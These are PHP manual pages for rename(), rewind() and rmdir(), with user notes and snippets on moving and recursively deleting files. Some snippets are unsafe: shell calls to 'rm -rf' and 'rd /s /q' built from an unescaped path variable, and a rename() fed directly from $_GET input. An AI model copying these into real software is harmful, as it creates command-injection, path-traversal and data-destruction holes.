> rename() may now be able to rename files across partitions on *nix based systems

seems it's not true, because
PHP Fatal error:  Uncaught exception 'Exception' with message 'rename(/tmp/tables_new/#translit.csv,/home/crmdev/www/bpl-syrena/tables_new/#translit.csv): Operation not permitted'
mikhail dot v dot gavrilov at gmail dot com 01-Oct-2014 03:58
> rename() may now be able to rename files across partitions on *nix based systems
Seems it's not true.
PHP Fatal error:  Uncaught exception 'Exception' with message 'rename(/tmp/tables_new/#translit.csv,/home/crmdev/www/bpl-syrena/tables_new/#translit.csv): Operation not permitted'

$ mount
/dev/mapper/fedora00-root on / type ext4 (rw,relatime,seclabel,data=ordered)
tmpfs on /tmp type tmpfs (rw,seclabel)
Robert 27-Jun-2014 05:38
If you use SplFileObject for the same file which
you want to rename you have to remove SplFileObject objec first.

<?php

$filePath = 'testFile.txt';
$fileObj = new SplFileObject(  $filePath  );
rename( $filePath, 'newName.txt'  );

// You will get - Permission denied error

$filePath = 'testFile.txt';
$fileObj = new SplFileObject( 'filePath.txt' );
$fileObj = null;
rename( $filePath, 'newName.txt'  );

// and now it is working.
?>
florian dot boeuf at casualbox dot fr 16-May-2014 10:27
For those encountering the error:
No error in "path/to/script/file" at line XX

Check that the new filename (or both for safety) do not contain characters forbidden by the system.

For example, forbidden characters in filenames on Windows:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa365247(v=vs.85).aspx

Hope this helps!
mike 20-Dec-2013 08:35
Important note - rename() does NOT work for *directories* across filesystems or devices. Only *files*

You will get two warnings:
"PHP Warning:  rename(): The first argument to copy() function cannot be a directory in <whatever> on line <whatever>"
"PHP Warning:  rename(t2,/var/run/test/t2): Invalid cross-device link in <whatever> on line <whatever>"

The copy() mentioned I assume is C's copy() and not PHP's copy() function. There is an associated bug in the Ubuntu bug system for this as well, that was escalated to bugs.php.net:
https://bugs.php.net/bug.php?id=54097

The only workarounds right now I believe is using PHP copy($source, $dest) and then on success, PHP unlink($source), or doing system("mv $source $dest") which is hokey, and should be surrounded by quotes for paths with spaces or other shell metacharacters, and possibly escaped for security.
wasserwirbel at gmail dot com 10-Nov-2013 03:20
Interesting to note that if you are trying to rename a file within a folder adding a slash in front of the folder (even if the folder is in the root of your server) will not work.

in other words, if you have the folder "tmp" in your server's root:

<?php
rename("/tmp/tmp_file.txt", "/tmp/my_file.txt"); // will not work

rename("tmp/tmp_file.txt", "tmp/my_file.txt"); // WILL work!
?>
bcag2 at free dot fr 08-Mar-2013 12:39
on windows (XP, vista, 7...) http://fr.wikipedia.org/wiki/Windows-1252", if your file name contains accent, it doesn't work basically. So use iconv function to convert from utf-8 to cp1252 as bellow :
<?php

$nomfichierinitial=iconv("UTF-8", "CP1252", "C:\\wamp\\www\\tést.txt");
$nomfichierfinal="C:\\wamp\\www\\test.txt";
rename($nomfichierinitial, $nomfichierfinal);
?>
Anonymous 05-Mar-2013 07:55
I could not get this to work at first, then saw that I was using a site url constant ahead of my target folder/filename. After re-reading the example I changed my constant to a filesystem type, like <?php rename( old_filename.ext, $_SERVER['DOCUMENT_ROOT']"/target/folder/my_new_filename.ext"); ?> and it worked like a charm.
asdf at NOSPAM dot serverwg dot net 14-Feb-2013 09:17
a simpler code for changing file extentions of multiple files in your working directory.

#!/usr/bin/php
<?php
//What?        Quick CLI-tool to rename the file extensions of multiple files (in working directory) matching the pattern.
//Author?      ZuZi
//Date?        2013/02/14
if($argv[1] && $argv[2]){
    foreach (glob("*.$argv[1]") as $filename) {
        echo ("change $filename to ".substr($filename,0,-(strlen($argv[1])))."$argv[2]\n");
        rename("$filename", substr($filename,0,-(strlen($argv[1])))."$argv[2]");
    }
}else
exit("\nERROR: ARGUMENTS MISSING!\n\nChanges the extension of all files matching <source> to <target>, in working directory.\n
usage:    changeFileType source target \n\n");
?>
Martin Pelletier 05-Feb-2011 07:01
rename() is working on Linux/UNIX but not working on Windows on a directory containing a file formerly opened within the same script. The problem persists even after properly closing the file and flushing the buffer.

<?php
$fp = fopen ("./dir/ex.txt" , "r+");
$text = fread($fp, filesize("../dir/ex.txt"));
ftruncate($fp, 0);
$text2 = "some value";
fwrite ($fp,  $text2 );
fflush($fp);
fclose ($fp);
if (is_resource($fp))
    fclose($fp);
rename ("./dir", ".dir2"); // will give a «permission denied» error
?>

Strangely it seem that the rename command is  executed BEFORE the handle closing on Windows.

Inserting a sleep() command before the renaming cures the problem.

<?php
$fp = fopen ("./dir/ex.txt" , "r+");
$text = fread($fp, filesize("../dir/ex.txt"));
ftruncate($fp, 0);
$text2 = "some value";
fwrite ($fp,  $text2 );
fflush($fp);
fclose ($fp);
if (is_resource($fp))
    fclose($fp);
sleep(1);    // this does the trick
rename ("./dir", ".dir2"); //no error
?>
andrew at 21cv dot co dot uk 15-Apr-2010 02:19
Code first, then explanation.

<?php

 rename ("/folder/file.ext", "newfile.ext");

?>

That doesn't rename the file within the folder, as you might assume, instead, it moves the file to whatever the PHP working directory is... Chances are you'll not find it in your FTP tree. Instead, use the following:

<?php

 rename ("/folder/file.ext", "/folder/newfile.ext");

?>
Morteza 10-Apr-2010 09:04
This code renames all  files and folders in a specific directory to lower case:

<?php
$path = "my_doc";

function getDirectory( $path = '.', $level = 0 ){

    $ignore = array( 'cgi-bin', '.', '..' );

    $dh = @opendir( $path );

    while( false !== ( $file = readdir( $dh ) ) )
    {
        if( !in_array( $file, $ignore ) )
        {
            $spaces = str_repeat( '&nbsp;', ( $level * 4 ) );
            if( is_dir( "$path/$file" ) )
            {
                echo "<strong>$spaces $file</strong><br />";
                rename($path."\\".$file, strtolower($path."\\".$file));
                getDirectory( "$path/$file", ($level+1) );

            }
            else {
                echo "$spaces $file<br />";
                rename($path."\\".$file, strtolower($path."\\".$file));
            }
        }
    }
    closedir( $dh );
}

getDirectory( $path , 0 )

?>
pcdinh at phpvietnam dot net 30-Jul-2009 06:10
For those who are still confused about the behavior of rename() in Linux and Windows (Windows XP) when target destination exists:

I have tested rename($oldName, $targetName) in PHP 5.3.0 and PHP 5.2.9 on both OS and find that if a file named $targetName does exist before, it will be overwritten with the content of $oldName
php-page at mailfilter dot com dot ar 04-Jul-2009 06:06
In Windows, on FAT32, rename will fail with "bad file descriptor" if the underlying short (8.3) file name of the file to rename is the same as the new file name. For example, attempting to rename "Oxygène.m3u" to "Oxygene.m3u" will fail if the 8.3 name of "Oxygène.m3u" is "OXYGENE.M3U" (which is very likely), as Windows will take both names as belonging to the same file. To solve this you must first rename the file to an intermediate name and then rename it to the intended name. To see the short (8.3) file names in a directory you can type DIR /X on a cmd box.
andrew at iwebsolutions dot co dot uk 02-Apr-2009 10:36
Note that this WILL NOT WORK if trying to rename a directory to a network share.

e.g.
rename('/home/user/me/dir1', '/mnt/shares/nfsmount/dir2')

will create a file called 'dir2' on the share and not a directory.

This caught me out and my (quickest) solution was to use an exec and mv command:

<?php
$cmd = 'mv "/home/user/me/dir1" "/mnt/shares/nfsmount/dir2"';
exec($cmd, $output, $return_val);

if ($return_val == 0) {
   echo "success";
} else {
   echo "failed";
}
?>
brent at brenthugh dot com 09-Jan-2009 07:31
This is an update to the code provided by dev at islam-soft dot com, which renames all files in a directory with a given extension to have a different extension.

I updated four things: Most important, added a check to make sure the extension matched ONLY the end of the filename (the original caused me a number of headaches when it started matching things in the middle of filenames instead of at the end where a proper extension belongs), 2nd added some feedback about what is going on, if you choose verbose mode=TRUE, 3rd added the "testing" parameter so you can do a test run before committing for real, 4th added an error message if a rename fails.

parameter 1 :  the directory name
parameter 2 :  the first extension which we want to replace
parameter 3 :  the new extension of files
parameter 4 :  verbose? (true/false)
parameter 5 :  testing? (true/false)--if true, won't actually rename anything; if you do verbose=TRUE and testing=TRUE you can see what will happen before committing to it with testing=FALSE.

Return is the number of files renamed.

for a simple usage call the function :
changeext('my/directory', 'html', 'php',  false, false);

This changes every file name with extension html  into php  in the directory  my/directory

<?PHP

//changes files in $directory with extension $ext1 to have extension $ext2
//note that if file.ext2 already exists it will simply be over-written
function changeext($directory, $ext1, $ext2, $verbose = false, $testing=true) {
  if ($verbose && $testing) { echo "Testing only . . . <br />";}
  $num = 0;
  if($curdir = opendir($directory)) {
   if ($verbose) echo "Opening $directory . . .<br />";
   while($file = readdir($curdir)) {
     if($file != '.' && $file != '..') {

       $srcfile = $directory . '/' . $file;
       $string  = "$file";
       $str     = strlen($ext1);
       $str++;
       $newfile = substr($string, 0, -$str);
       $newfile = $newfile.'.'.$ext2;
       $dstfile = $directory . '/' . $newfile;

       if (eregi("\.$ext1". '$' ,$file)) { # Look at only files with a pre-defined extension, '$' ensures the ext is only at they end of the filename

         //I think the next two lines are unnecessary but they
         //don't hurt anything so I'm leaving them
         $fileHand = fopen($srcfile, 'r');
         fclose($fileHand);

         if (!$testing) {
            $result=rename($srcfile, $dstfile );
            if (!$result) echo "ERROR renaming $srcfile -> $dstfile<br />";
         }

         if ($verbose) echo "$srcfile -> $dstfile<br />";
       }

       if(is_dir($srcfile)) {
         $num += changeext($srcfile, $ext1, $ext2, $verbose, $testing);
       }
     }
   }
   closedir($curdir);
  }
  return $num;
}

$testing=true;
$verbose=true;

//example usages, first run with $testing set to false, then change $testing to true to do them for real:
//changeext('your/directory', 'php', 'html', $verbose,  $testing);
//changeext('your/directory', 'html', 'php',  $verbose, $testing);
garagod at gmail dot com 06-Oct-2008 07:36
When I'm using unlink() or rename() with a SSH2.SFTP wrapper, both functions always return FALSE (but without a warning) even on success.

Example:

$connection = ssh2_connect(SERVER_NAME, PORT);
ssh2_auth_password($connection, USERNAME, PASSWORD);
$sftp = ssh2_sftp($connection);

unlink("ssh2.sftp://$sftp/" . REMOTE_DIRECTORY . FILENAME); // returns FALSE on success and on failure

rename("ssh2.sftp://$sftp/" . REMOTE_DIRECTORY . OLD_FILENAME, "ssh2.sftp://$sftp/" . REMOTE_DIRECTORY . NEW_FILENAME); // returns FALSE on success and on failure
Whooptydoo 08-Jul-2008 06:11
If by any chance you end up with something equivalent to this:

<?php
rename('/foo/bar','/foo/bar');
?>

It returns true. It's not documented.
treshugart at gmail dot com 06-Feb-2008 02:09
This might be a similar problem to what happened to:

jmalinsky at gmail dot com
10-Dec-2005 08:41

Apparently rename() will fail on filenames that are too large and emit an E_WARNING.

I was using rename() 'batch-move' a bunch of images. These files were lost in translation; in other words: deleted. One file, however, was moved but the filename was truncated. Weird. Why one or two files while the rest were deleted. This was being attempted on a Windows box.

I hope this helps anyone. If anyone has an explanation please feel free to email me. But if you're one of those idiots who *thinks* they're better than everyone and you *think* you know everything, don't bother.
jeppe at bundsgaard dot net 12-Jan-2007 10:50
Until recently you could end the dirname your wanted to rename to with a slash:

rename("mydir/my2nddir/","mydir/my3nddir/")

But now it doesn't work (php warns that it is unable to access mydir/my3nddir/).

So always leave out a final slash in your dirname:

rename("mydir/my2nddir","mydir/my3nddir")

The same goes for mkdir().
dev at islam-soft dot com 05-Jan-2007 01:52
- rename extension of files

changeext($directory, $ext1, $ext2, $verbose)

i wrote this function to rename the extention of some files in a folder and sub-folders inside it ..

parameter 1 :  the directory name
parameter 2 :  the first extention wich we want to replace
parameter 3 :  the new extention of files

for a simple usage call the function :
changeext('dir', 'html', 'php',  'false');

to change evry file name with extention html  into php  in the directory  dir

<?php

function changeext($directory, $ext1, $ext2, $verbose = false) {
  $num = 0;
  if($curdir = opendir($directory)) {
   while($file = readdir($curdir)) {
     if($file != '.' && $file != '..') {

       $srcfile = $directory . '/' . $file;
       $string  = "$file";
       $str     = strlen($ext1);
       $str++;
       $newfile = substr($string, 0, -$str);
       $newfile = $newfile.'.'.$ext2;
       $dstfile = $directory . '/' . $newfile;

       if (eregi("\.$ext1",$file)) { # Look at only files with a pre-defined extension
       $fileHand = fopen($srcfile, 'r');
       fclose($fileHand);
       rename($srcfile, $dstfile );
       }

       if(is_dir($srcfile)) {
         $num += changeext($srcfile, $ext1, $ext2, $verbose);
       }
     }
   }
   closedir($curdir);
  }
  return $num;
}

changeext('dir', 'html', 'php',  'false');

?>

to remove the extention of files , just leave the parameter $ext2 blank ''
Eric (Themepark.com) 03-Nov-2006 07:31
This was a fun one-- on Win XP, rename throws a "permission deined" if you try to rename across volumes.. i.e. rename("c:\windows\temp\x.txt", "g:\destination") will fail.
David Thole (root at thedarktrumpet.com) 22-Oct-2006 09:20
As of PHP 5.1.4 compiled on a mac, using rename with spaces one should just use the space.   Take for example:

rename("/tmp/somefile.tar", "/mnt/laptop storage/somefile.tar");

If you use the backslash, like if you were cd-ing to the directory, rename will fail.  Example:

rename("/tmp/somefile.tar", "/mnt/laptop\ storage/somefile.tar");

While not really a bug, it did confuse me for a little bit while working on a backup script.
PHP at Drarok dot com 08-Aug-2006 10:57
As described from the unlink() page:
You have to release any handles to the file before you can rename it (True on Windows, at least).
This will NOT work, you'll receive permission denied errors:
<?php
    $fileHand = fopen('tempFile.txt', 'r');
    rename( 'tempFile.txt', 'tempFile2.txt' ); // Permission Denied!
?>

Simply close the handle to fix this:
<?php
    $fileHand = fopen('tempFile.txt', 'r');
    fclose($fileHand);
    rename( 'tempFile.txt', 'tempFile2.txt' );
?>

This has me scratching my head for some time, as the handle was opened at the top of a marge function, and the rename was at the bottom.
bobbfwed at comcast dot net 26-Jan-2006 09:30
I have programmed a really nice program that remotely lets you manage files as if you have direct access to them (http://sourceforge.net/projects/filemanage/). I have a bunch of really handy functions to do just about anything to files or directories. In it I just finished redevloping the directory move function to utilize PHP's rename() since it is way more efficient than a copy/delete process. It goes through (recursivly) and renames all the files to a new location instead of copying them. It recreates the directory structure in the new location. It also allows you to overwrite the existing files, or not.
Here is the function I made; it will likely need tweaking to work as a standalone script, since it relies of variables set by my program (eg: loc1 -- which dynamically changes in my program):

<?PHP
  // loc1 is the path on the computer to the base directory that may be moved
define('loc1', 'C:/Program Files/Apache Group/Apache/htdocs', true);

  // move a directory and all subdirectories and files (recursive)
  // void dirmv( str 'source directory', str 'destination directory' [, bool 'overwrite existing files' [, str 'location within the directory (for recurse)']] )
function dirmv($source, $dest, $overwrite = false, $funcloc = NULL){

  if(is_null($funcloc)){
    $dest .= '/' . strrev(substr(strrev($source), 0, strpos(strrev($source), '/')));
    $funcloc = '/';
  }

  if(!is_dir(loc1 . $dest . $funcloc))
    mkdir(loc1 . $dest . $funcloc); // make subdirectory before subdirectory is copied

  if($handle = opendir(loc1 . $source . $funcloc)){ // if the folder exploration is sucsessful, continue
    while(false !== ($file = readdir($handle))){ // as long as storing the next file to $file is successful, continue
      if($file != '.' && $file != '..'){
        $path  = $source . $funcloc . $file;
        $path2 = $dest . $funcloc . $file;

        if(is_file(loc1 . $path)){
          if(!is_file(loc1 . $path2)){
            if(!@rename(loc1 . $path, loc1 . $path2)){
              echo '<font color="red">File ('.$path.') could not be moved, likely a permissions problem.</font>';
            }
          } elseif($overwrite){
            if(!@unlink(loc1 . $path2)){
              echo 'Unable to overwrite file ("'.$path2.'"), likely to be a permissions problem.';
            } else
              if(!@rename(loc1 . $path, loc1 . $path2)){
                echo '<font color="red">File ('.$path.') could not be moved while overwritting, likely a permissions problem.</font>';
              }
          }
        } elseif(is_dir(loc1 . $path)){
          dirmv($source, $dest, $overwrite, $funcloc . $file . '/'); //recurse!
          rmdir(loc1 . $path);
        }
      }
    }
    closedir($handle);
  }
} // end of dirmv()
?>

This new function will be in 0.9.7 (the next release of File Manage) which should release sometime early February.
Hope this helps some people.
php at froghh dot de 20-Jan-2006 12:00
Remark for "php at stock-consulting dot com"'s note:
This depends on the operating system.
On windows-systems you can't rename a file to an existing destination (ok, with tools you can - but they unlink the exisiting one before).
php at stock-consulting dot com 04-Jan-2006 11:36
rename() fails with PHP4 and PHP5 under Windows if the destination file exists, regardless of file permission settings. I now use a function similar to that of ddoyle [at] canadalawbook [dot] ca, which first tries rename(), checks if it returned FALSE and then uses copy()/unlink() if it failed.

However, copy() is, unlike rename(), NOT useable for "atomic updates". Another process may actually access the destination file while copy() is working. In such a case, the other process with perceive the file as empty or with incomplete content ("half written").
php-public at macfreek dot nl 18-Dec-2005 08:33
It is unclear what encoding the arguments of rename should have; For PHP 4.3, on a HFS+ filesystems, rename() did not handle UTF-8 strings, and returned an error.
jmalinsky at gmail dot com 09-Dec-2005 10:41
On WinXP/PHP 5+, not only does rename()  not follow the *nix rename as noted below, but other things (do not) happen.  If you're trying to rename a directory, files within the directory will NOT be present in the renamed directory, though sub-directories WILL be present.  Ultra-strange.  And as noted, your 'old' directory will remain on the server totally intact, which can be very confusing.

To try and rename a folder on XP via PHP, I wound up using a workaround: first i used the copydirr() function posted by makarenkoa at ukrpost dot net on the "copy" page of the online manual to copy all folders and files within the original directory to the new one... and then to delete the original directory (and all files/folders beneath it), i used the delDir() function corrected by czambran at gmail dot com on the "rmdir" page of the online manual.  Why didn't I use unlink()?  Because, unlink does NOT work on Windows systems either (and even if it did work, its not recursive without extra coding).

So, all in all, rename() is pretty much a useless function if you are intending to rename a folder on an XP box.
tbrillon at gmail dot com 14-Sep-2005 10:27
I needed to move a file to another folder regardless if that file existed in the target already so I wrote a small piece to append a unique number to each file.

$rem = $_GET['file'];
$ticket = uniqid(rand(), true);

rename("$rem", "www/home/storefile/$ticket$rem");

the output looks like this - 6881432893ad4925a1.70147481filename.txt

This also helps if you want different versions of the file stored.
ddoyle [at] canadalawbook [dot] ca 08-Sep-2005 12:35
rename() definitely does not follow the *nix rename convention on WinXP with PHP 5.  If the $newname exists, it will return FALSE and $oldname and $newname will remain in their original state.  You can do something like this instead:

function rename_win($oldfile,$newfile) {
   if (!rename($oldfile,$newfile)) {
      if (copy ($oldfile,$newfile)) {
         unlink($oldfile);
         return TRUE;
      }
      return FALSE;
   }
   return TRUE;
}
tomfelker at gmail dot com 11-Aug-2005 11:51
Actually, I'm pretty sure that rename follows the convention of *nix rename(2) in overwriting the destination if it exists atomically (meaning that no other process will see the destination cease to exist, even for an instant).  This is useful because it allows you to build a file as a temp file, then rename it to where you want it to be, and nobody sees the file when it's half done.

Probably rename($old, $new) with an existing new was caused by permission problems.  I bet the other problems you had were the result of not calling clearstatcache(), which can cause PHP to act like a file exists though it has since been deleted.
JRog 27-May-2005 08:44
To anyone wondering, rename($old, $new) returns FALSE if $new already exists.  My script called for overwriting the file if it existed so I did this:

if(file_exists($new)) { unlink($new); }
$ok = rename($old, $new);

This did not work as expected.  If $new actually existed then it worked fine.  That is the file found at path $new was deleted and replaced with the file found at path $old.  However, if $new did NOT exist then the result was the file at  path $old vanished into oblivion.  After debugging a bit, it seems that rename() was getting executed before the if-statement.  So rename() moved $old to $new, THEN the if-statement evaluated to true and deleted the file I just moved.  Anyway, this fixed it:

if(file_exists($new)) {
    unlink($new);
    $ok = rename($old, $new);
} else { $ok = rename($old, $new); }

Very strange ... I hope this helps somebody
sophie at sitadelle dot com 14-Nov-2003 05:22
Hello!
For unix/linux users: it is usefull to know that if you use rename() for a directory, the new one will be created with the current umask!
blujay 08-Feb-2002 10:32
You can always chdir() to the parent directory of what you're renaming, and rename the directory or file directly.  For example:

$oldWD = getcwd();
chdir($dirWhereRenameeIs);
rename($oldFilename, $newFilename);
chdir($oldWD);
pearcec at commnav dot com 15-Jun-2001 10:17
If you rename one directory to another where the second directory exists as an empty directory it will not complain.

Not what I expected.

[pearcec@abe tmp]$ mkdir test1
[pearcec@abe tmp]$ mkdir test2
[pearcec@abe tmp]$ touch test1/test
[pearcec@abe tmp]$ php
<?php
rename("test1","test2");
?>
X-Powered-By: PHP/4.0.5
Content-type: text/html

[pearcec@abe tmp]$ ls -al
total 12
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 .
drwxr-xr-x   18 pearcec  commnav      4096 Jun 15 13:15 ..
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 test2
[pearcec@abe tmp]$ ls -la test2/
total 8
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 .
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 ..
-rw-r--r--    1 pearcec  commnav         0 Jun 15 13:16 test
[pearcec@abe tmp]$
michael-nospam at sal dot mik dot hyperlink dot net dot au 25-Nov-1999 08:43
Note, that on Unix, a rename is a beautiful way of getting atomic updates to files.

Just copy the old contents (if necessary), and write the new contents into a new file, then rename over the original file.

Any processes reading from the file will continue to do so, any processes trying to open the file while you're writing to it will get the old file (because you'll be writing to a temp file), and there is no "intermediate" time between there being a file, and there not being a file (or there being half a file).

Oh, and this only works if you have the temp file and the destination file on the same filesystem (eg. partition/hard-disk).


Rewind the position of a file pointer

  • « rename
  • rmdir »
  • PHP Manual
  • Filesystem Functions
  • Rewind the position of a file pointer

rewind

(PHP 4, PHP 5)

rewind — Rewind the position of a file pointer

Description

bool rewind ( resource $handle )

Sets the file position indicator for handle to the beginning of the file stream.

Note:

If you have opened the file in append ("a" or "a+") mode, any data you write to the file will always be appended, regardless of the file position.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 rewind() overwriting example

<?php
$handle = fopen('output.txt', 'r+');

fwrite($handle, 'Really long sentence.');
rewind($handle);
fwrite($handle, 'Foo');
rewind($handle);

echo fread($handle, filesize('output.txt'));

fclose($handle);
?>

The above example will output something similar to:

Foolly long sentence.

See Also

  • fread() - Binary-safe file read
  • fseek() - Seeks on a file pointer
  • ftell() - Returns the current position of the file read/write pointer
  • fwrite() - Binary-safe file write

User Contributed Notes

MagicalTux at kinoko dot fr 27-Nov-2007 07:53
Note that rewind($fd) is exactly the same as fseek($fd, 0, SEEK_SET)

rewind() just moves the location inside the file to the beginning, nothing more. Check if your stream is "seekable" before planning to use fseek/rewind.


Removes directory

  • « rewind
  • set_file_buffer »
  • PHP Manual
  • Filesystem Functions
  • Removes directory

rmdir

(PHP 4, PHP 5)

rmdir — Removes directory

Description

bool rmdir ( string $dirname [, resource $context ] )

Attempts to remove the directory named by dirname. The directory must be empty, and the relevant permissions must permit this. A E_WARNING level error will be generated on failure.

Parameters

dirname

Path to the directory.

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.0.0 | As of PHP 5.0.0 rmdir() can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers for a listing of which wrappers support rmdir().

Examples

Example #1 rmdir() example

<?php
if (!is_dir('examples')) {
    mkdir('examples');
}

rmdir('examples');
?>

Notes

Note: When safe mode is enabled, PHP checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.

See Also

  • is_dir() - Tells whether the filename is a directory
  • mkdir() - Makes directory
  • unlink() - Deletes a file

User Contributed Notes

ahmadmarafa at gmail dot com 01-Oct-2014 07:32
function unlinkDir($dir)
{
    $dirs = array($dir);
    $files = array() ;
    for($i=0;;$i++)
    {
        if(isset($dirs[$i]))
            $dir =  $dirs[$i];
        else
            break ;

        if($openDir = opendir($dir))
        {
            while($readDir = @readdir($openDir))
            {
                if($readDir != "." && $readDir != "..")
                {

                    if(is_dir($dir."/".$readDir))
                    {
                        $dirs[] = $dir."/".$readDir ;
                    }
                    else
                    {

                        $files[] = $dir."/".$readDir ;
                    }
                }
            }

        }

    }

    foreach($files as $file)
    {
        unlink($file) ;

    }
    $dirs = array_reverse($dirs) ;
    foreach($dirs as $dir)
    {
        rmdir($dir) ;
    }

}
Baraka Mghumba 27-Aug-2014 03:42
Works fine, tested on PHP 5.4(EasyPHP server)
function deletedir($dir)
    {
        if (is_dir($dir))
        {
            $files = scandir($dir);
            foreach ($files as $file)
            {
                if ($file != "." && $file != "..")
                {
                    if (filetype($dir."/".$file) == "dir")
                    {
                        $this->deletedir($dir."/".$file);
                    }
                    else
                    {
                        unlink($dir."/".$file);
                    }
                }
            }
            reset($objects);
            if(rmdir($dir))
            {
                return 'deleted successfully!';
            }
            else
            {
                return 'delete failed!';
            }
        }
        else
        {
            return 'doesn\'t exist or inaccessible!';
        }
    }
Something to note:
You have to take care of file permission if necessary
jurchiks101 at gmail dot com 22-Aug-2014 09:41
This function sorely needs a built-in option to delete the contents of the directory. Or another function that does exactly that - deletes a path (file or folder, doesn't matter).
It is still much simpler to just use something like the following to delete any directory rather than write some 10+ line function that has corner cases that will break it:
<?php
if (PHP_OS === 'Windows')
{
    exec("rd /s /q {$path}");
}
else
{
    exec("rm -rf {$path}");
}
?>
Most webservers are run on 2 or 3 different popular operating systems, so this would easily work for almost all websites.
tuxedobob 22-May-2014 04:13
Keep in mind that if you know what your host OS is, you can always just call the appropriate system call using exec() or the like. For example:

exec('rmdir folder-to-delete /s /q'); //windows
exec('rmdir -rf folder-to-delete'); //OS X/*nix?
mano 09-Feb-2014 01:40
$thisdirecto = "NAMEOFDIRECTORY";

$filename = "$thisdirecto";
if (is_readable($filename)) {

$dir = "$thisdirecto/";
   // open specified directory and remove all files within
   $dirHandle = opendir($dir);
   $total_deleted_images = 0;
   while ($file = readdir($dirHandle)) {

      if(!is_dir($file)) {

         unlink($dir.$file);
/////remove  >>> // below if needed
         // echo 'Deleted file <b>'.$file.'</b><br />';
        // $total_deleted_images++;
      }
   }
   closedir($dirHandle);
    if($total_deleted_images=='0'){
        echo '<!-- no if you want to see on page - now hidden -->';
    }

    //remove dir at the end
rmdir($dir);
} else {
echo "";
}
lprent at primary dot geek dot nz 22-Jan-2014 07:10
It is rather dangerous to recurse into symbolically linked directories. The delTree should be modified to check for links.

<?php
public static function delTree($dir) {
   $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $file) {
      (is_dir("$dir/$file") && !is_link($dir)) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
  }
?>
nbari at dalmp dot com 29-Oct-2012 07:36
Glob function doesn't return the hidden files, therefore scandir can be more useful, when trying to delete recursively a tree.

<?php
public static function delTree($dir) {
   $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $file) {
      (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
  }
?>
Chris Wren 02-Sep-2012 05:29
I also ran into the permissions issue in Windows when deleting a folder and the solution was to close all editors which had files opened which were located in the folder structure.
longears at BLERG dot gmail dot com 30-Mar-2012 04:10
Concise way to recursively remove a directory:

<?php
# recursively remove a directory
function rrmdir($dir) {
    foreach(glob($dir . '/*') as $file) {
        if(is_dir($file))
            rrmdir($file);
        else
            unlink($file);
    }
    rmdir($dir);
}
?>
Anonymous 24-Jan-2012 12:20
When the directory is not empty:

<?php
 function rrmdir($dir) {
   if (is_dir($dir)) {
     $objects = scandir($dir);
     foreach ($objects as $object) {
       if ($object != "." && $object != "..") {
         if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
       }
     }
     reset($objects);
     rmdir($dir);
   }
 }
?>
thomas 21-Nov-2011 09:44
Function deleteAll given by O S on 18-Jun-2010 11:30 will fail at line

while ($contents = readdir($directoryHandle)) {...

if a folder named 0 (zero) is found during traversing the hierarchy
shane dot ray87 at gmail dot com 08-Aug-2011 10:50
This issue has been driving me nuts for hours.

I am running PHP on IIS, I had the wincache module installed, when running a recursive delete a certain folder would get "stuck" and throw permissions errors.  I was not able to delete them with PHP or in windows itself.  The only way to delete the folder was to wait 5 min and run the script again, or stop the IIS server and the folder would delete on its own.  Disabling the wincachce module resolved the issue.

Hope this helps.
samy dot see at gmail dot com 27-Jun-2011 12:38
if you get this problem Permission denied in windows testing your site maybe this will resolve the problem

<?php
if(file_exists($path.'/Thumbs.db')){
    unlink($path.'/Thumbs.db');
}
?>

and then

<?php rmdir($path); ?>
holger1 at NOSPAMzentralplan dot de 26-Jun-2010 11:00
Another simple way to recursively delete a directory that is not empty:

<?php
 function rrmdir($dir) {
   if (is_dir($dir)) {
     $objects = scandir($dir);
     foreach ($objects as $object) {
       if ($object != "." && $object != "..") {
         if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
       }
     }
     reset($objects);
     rmdir($dir);
   }
 }
?>
O S 19-Jun-2010 12:30
This isn't my code, but just thought I would share, since it took me so long to find. This is a function to delete a folder, all sub-folders, and files in one clean move.

Just tell it what directory you want deleted, in relation to the page that this function is executed. Then set $empty = true if you want the folder just emptied, but not deleted. If you set $empty = false, or just simply leave it out, the given directory will be deleted, as well.

<?php
function deleteAll($directory, $empty = false) {
    if(substr($directory,-1) == "/") {
        $directory = substr($directory,0,-1);
    }

    if(!file_exists($directory) || !is_dir($directory)) {
        return false;
    } elseif(!is_readable($directory)) {
        return false;
    } else {
        $directoryHandle = opendir($directory);

        while ($contents = readdir($directoryHandle)) {
            if($contents != '.' && $contents != '..') {
                $path = $directory . "/" . $contents;

                if(is_dir($path)) {
                    deleteAll($path);
                } else {
                    unlink($path);
                }
            }
        }

        closedir($directoryHandle);

        if($empty == false) {
            if(!rmdir($directory)) {
                return false;
            }
        }

        return true;
    }
}
?>
info at top-info dot org 28-Apr-2010 01:15
The function delTree is dangerous when you dont take really care. I for example always deleted a temporary directory with it. Everthing went fine until the moment where the var containing this temporary directory wasnt set. The var didnt contain the path but an empty string. The function delTree  was called and deleted all the files at my host!
So dont use this function when you dont have a proper handling coded. Dont think about using this function only for testing without such a handling.
Luckily nothing is lost because I had the local copy...
steffen at wirsching-idstein dot de 17-Jan-2010 02:40
Say, you're working on Windows and continue to get a permission's error without a reason. Then it may be that a different Windows program is working on the folder (see earlier notes also). In the case that you can't find that program, the line

<?php closedir(opendir($dirname)); ?>

may solve the problem!
Make sure to write this before rmdir($dirname);.
omikrosys at gmail dot com 09-Oct-2009 06:52
Sometimes you would face situations in which rmdir($dirname) would give "permission denied" errors though you may have changed $dirname permissions. In such situations just change the permissions of the directory which contains $dirname and rmdir($dirname) would work like a charm.
Say you use rmdir('dirr'); then change the permissions of the folder that contains 'dirr'.
